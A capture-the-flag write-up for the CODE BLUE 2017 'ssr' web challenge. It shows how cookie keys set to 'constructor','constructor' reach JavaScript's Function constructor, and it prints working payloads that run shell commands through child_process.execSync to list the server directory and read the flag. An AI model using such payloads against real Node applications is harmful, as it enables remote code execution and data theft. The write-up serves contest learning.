Tags: web javascript 

Rating: 5.0

There are some actions of this site:

  • Login
  • Get new idol
  • Let idol say something

When we get an idol, this site use cookie such as [{"key":["ssr","0"]}] to store it.

And when we access url like http://ssr.tasks.ctf.codeblue.jp/idols/0/say1, this cookie will unserialize as a ssr idol Uzuki then call Uzuki's say1 function.

Try [{"key":["a","0"]}] will get an error

TypeError: Cannot read property '0' of undefined
    at generateIdol (/usr/local/ssr/build/server.js:144:49)
    at /usr/local/ssr/build/server.js:172:12
    at Array.map (<anonymous>)
    at unserializeIdols (/usr/local/ssr/build/server.js:169:20)
    at Idol.render (/usr/local/ssr/build/server.js:436:46)
    at /usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:793:21
    at measureLifeCyclePerf (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:73:12)
    at ReactCompositeComponentWrapper._renderValidatedComponentWithoutOwnerOrContext (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:792:25)
    at ReactCompositeComponentWrapper._renderValidatedComponent (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:819:32)
    at ReactCompositeComponentWrapper.performInitialMount (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:359:30)

In this chall, server side and client side share some code, so we can see functions related with idol generating:

var unserializeIdols = exports.unserializeIdols = function unserializeIdols(idolsData) {
  if (!idolsData) {
    return [];
  }
  return idolsData.map(function(_ref) {
    var key = _ref.key;
    return generateIdol(key);
  });
};
var idol = (0, _idols.unserializeIdols)(cookies.get('idols'))[id];
if (!idol) {
  return _react2.default.createElement(
    'div',
    null,
    'Invalid Idol!!'
  );
}

var idolAction = action || 'say1';
if (!idol[idolAction]) {
  return _react2.default.createElement(
    'div',
    null,
    'Invalid Action!!'
  );
}
var generateIdol = function generateIdol(key) {
  var _key = _slicedToArray(key, 2),
      rarity = _key[0],
      idolNo = _key[1];

  var idolClass = _idolDatabase2.default[rarity][idolNo];
  return new idolClass(key);
};

With such code, when we pass a cookie such as [{"key":["ssr","0"]}] will execute:

var idol = _idolDatabase2.default["ssr"]["0"];
return new idolClass(["ssr","0"]);

This remind me some magic JavaScript properties such as prototype/constructor will do something i want. When we pass a cookie like:

[{"key":["constructor","constructor","0%3Breturn 1"]}]

will execute

var idolClass = _idolDatabase2.default["constructor"]["constructor"];
return new idolClass(["constructor","constructor","0;return '1'"]);

and generate a fucntion

function(){constructor,constructor,0;return '1'}

Now we can generate an arbitrarily function, we can use this function by call method with visit url http://ssr.tasks.ctf.codeblue.jp/idols/0/call.

so let's list directory first, try

[{"key":["constructor","constructor","0%3Breturn process.mainModule.require('child_process').execSync('ls /usr/local/ssr/')+''"]}]

will return

README.md
build
conf
flag
gulpfile.js
node_modules
package-lock.json
package.json
public
src
style
webpack.config.js

and then cat flag with

[{"key":["constructor","constructor","0%3Breturn process.mainModule.require('child_process').execSync('cat /usr/local/ssr/flag')+''"]}]

got

CBCTF{server_side_render1ng_1s_Soo_fun}
Original writeup (https://github.com/LyleMi/CTF/blob/master/2017/codebule/ssr/index.md).